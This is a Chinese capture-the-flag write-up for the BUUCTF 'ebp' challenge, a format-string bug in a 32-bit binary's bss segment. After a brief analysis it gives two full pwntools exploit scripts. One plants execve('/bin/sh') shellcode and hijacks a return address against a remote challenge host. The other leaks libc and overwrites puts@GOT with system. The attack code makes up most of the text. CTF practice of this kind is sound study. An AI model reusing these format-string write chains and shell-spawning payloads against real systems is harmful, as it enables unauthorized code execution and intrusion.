BUUCTF_ebp
之前本来是看着CTF wiki上学off by one呢,结果搜题目的时候,看见了这道题还有99分,名字叫ebp,估摸着是栈题,就做了一下,难度较低,考察的bss段上格式化字符串漏洞。
保护策略:
漏洞分析:
这里存在了格式化字符串漏洞,不过是在bss段上的。
考虑到没开任何保护,第一反应就是用shellcode来打。
程序始终在循环出不去,根据经验的话有两个思路。劫持函数的got表,或者劫持函数的返回地址都可以。
具体过程比较简单,就不再分析了。
EXP
下面这个exp是把shellcode布置到bss段上,然后劫持函数的返回地址执行shellcode
from tools import *
p,e,libc=load('a')
#debug(p,0x0804851A)
context.arch='i386'
shellcode=asm('''
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
push 11
pop eax
int 0x80
''')
p=remote('node4.buuoj.cn',26710)
context.log_level='debug'
payload='%4$p'
p.sendline(payload)
p.recvuntil(b'0x')
leak_stack_addr=int(p.recv(8),16)
log('leak_stack_addr',hex(leak_stack_addr))
target_stack_addr=(leak_stack_addr-0x1c)&0xff
payload='%'+str(target_stack_addr)+'c%4$hhn'
p.sendline(payload)
payload=b'%'+b'41120'+b'c%12$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=shellcode
p.sendline(payload)
p.interactive()
下面这个是修改了puts的got表为system地址,然后payload里存入;/bin/sh 来获取shell。不过本地通了远程没通(这个思路肯定是没问题,远程没通估计是发的字节太多了?)
from tools import *
p,e,libc=load('a')
debug(p,0x0804851A)
#p=remote('node4.buuoj.cn',26710)
context.log_level='debug'
payload='%4$p%21$p'
p.sendline(payload)
p.recvuntil(b'0x')
leak_stack_addr=int(p.recv(8),16)
log('leak_stack_addr',hex(leak_stack_addr))
target_stack_addr=leak_stack_addr+0x20+2
p.recvuntil(b'0x')
leak_libc_addr=int(p.recv(8),16)
log('leak_libc_addr',hex(leak_libc_addr))
sys_addr,bin_sh_addr=local_search('__libc_start_main',leak_libc_addr-247,libc)
#sys_addr,bin_sh_addr=long_search('__libc_start_main',leak_libc_addr-241)
'''write puts_got'''
puts_got_addr=e.got['puts']
low_addr=puts_got_addr&0xffff
high_addr=(puts_got_addr>>16)&0xffff
sleep(0.2)
payload='%'+str(low_addr)+'c%12$hn'
p.sendline(payload)
sleep(0.2)
payload='%'+str(target_stack_addr&0xffff)+'c%4$hn'
p.sendline(payload)
sleep(0.2)
payload='%'+str(high_addr)+'c%12$hn'
p.sendline(payload)
sleep(0.2)
'''write puts_got+2'''
target_stack_addr=leak_stack_addr+0x38
puts_got_addr=e.got['puts']+2
low_addr=puts_got_addr&0xffff
high_addr=(puts_got_addr>>16)&0xffff
payload='%'+str(target_stack_addr&0xff)+'c%4$hhn'#new stack chain
p.sendline(payload)
sleep(0.2)
payload='%'+str(low_addr)+'c%12$hn'
p.sendline(payload)
sleep(0.2)
target_stack_addr=target_stack_addr+0x2
payload='%'+str(target_stack_addr&0xffff)+'c%4$hn'
p.sendline(payload)
sleep(0.2)
payload='%'+str(high_addr)+'c%12$hn'
p.sendline(payload)
'''write sys_addr'''
sleep(0.2)
low_addr=sys_addr&0xffff
high_addr=(sys_addr>>16)&0xffff
payload='%'+str(low_addr)+'c%20$hn'+'%'+str(high_addr-low_addr)+'c%26$hn'
payload+=';/bin/sh'
sleep(0.2)
p.sendline(payload)
p.interactive()